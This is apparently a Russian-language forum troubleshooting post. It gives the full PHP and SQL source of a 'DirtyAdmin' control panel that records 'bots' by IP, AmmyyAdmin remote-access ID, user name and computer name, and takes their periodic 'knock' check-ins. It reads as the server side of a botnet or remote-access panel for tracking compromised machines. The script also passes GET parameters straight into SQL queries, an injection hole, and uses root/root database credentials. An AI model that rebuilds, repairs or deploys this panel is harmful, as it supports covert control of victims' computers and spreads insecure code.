Имеются файлы index.php
<?php
include 'settings.php';
mysql_connect($db_host, $db_user, $db_pass) or die(mysql_error());
mysql_select_db($db_name) or die(mysql_error());
?>
<html>
<head>
<title> -== DirtyAdmin == Control Panel ==-</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body bgcolor="white" text="black" link="DarkGreen">
<table bordercolordark="#3300FF" bordercolorlight="#3366FF" border="4" align=center><thead>
<tr><th>IP</th><th>AmmyyAdmin ID</th><th>User name</th><th>Computer name</th><th>Register date</th><th>Last knock date</th>
<th>Status</th>
</tr></thead><tbody>
<?php
$r=mysql_query("SELECT * FROM `bots`");
while ($row=mysql_fetch_array($r, MYSQL_ASSOC)) {
$rgdate=date("d.m.Y G:i", $row['rgdate']);
$rqdate=date("d.m.Y G:i", $row['rqdate']);
$status=time()-$row['rqdate'];
if ((time()-$row['rqdate'])<300) $status="online"; else $status="offline";
echo("<tr><td>".$row['ip']."</td><td>".$row['id']."</td><td>".$row['usrnm']."</td><td>".$row['cmpnm']."</td><td>$rgdate</td><td>$rqdate</td><td>$status</td>");}
// date("d.m.Y G:i", $row['rgdate'])
// date("d.m.Y G:i", $row['rqdate'])
?>
</tbody></table>
</body>
</html>
setting.php
<?php
$db_host="localhost";
$db_name="cp";
$db_user="root";
$db_pass="root";
?>
script.php
<?php
include "settings.php";
if (empty($_GET['id'])||empty($_GET['cmd'])){
exit();}
else {
$id=$_GET['id'];
$cmd=$_GET['cmd'];}
$conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $conn);
echo($cmd);
if ($cmd=='knock'){
if (isset($_GET['un'])) $un=urldecode($_GET['un']); else $un="";
if (isset($_GET['cn'])) $cn=urldecode($_GET['cn']); else $cn="";
$ip=$_SERVER['REMOTE_ADDR'];
$curtime=time();
$sql_q="INSERT INTO `bots` (ip, usrnm, cmpnm, id, rqdate, rgdate) VALUES ('$ip','$un','$cn','$id',$curtime,$curtime) ON DUPLICATE KEY UPDATE rqdate=$curtime, id='$id', cmpnm='$cn', usrnm='$un'";
echo($sql_q);
mysql_query($sql_q);
} elseif ($cmd=='rem'){
$sql_q="DELETE FROM `bots` WHERE (id='$id')";
mysql_query($sql_q);
} elseif ($cmd=='clrbase'){
$sql_q="TRUNCATE TABLE `bots`";
echo($sql_q);
mysql_query($sql_q);
}
?>
И база данных db_cp.sql, предварительно установленная через импорт
CREATE TABLE IF NOT EXISTS `bots` (
`id` int(11) NOT NULL,
`ip` varchar(25) DEFAULT NULL,
`usrnm` varchar(145) DEFAULT NULL,
`cmpnm` varchar(145) DEFAULT NULL,
`rqdate` int(11) DEFAULT NULL,
`rgdate` int(11) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
Алгоритм работы простой, при выполнении скрипта, идёт подключение к базе, данные заносятся в таблицу и выводятся при запросе на localhost/index.php. Так вот проблема в том что данные не приходят. В чём может быть проблема? Атрибут файла script.php 777.
Записать что то в базу нужно ещё параметры вводить:
www.сайт.ru/script.php?id=1&cmd=knock
Зачем ID в вашем скрипте я не знаю.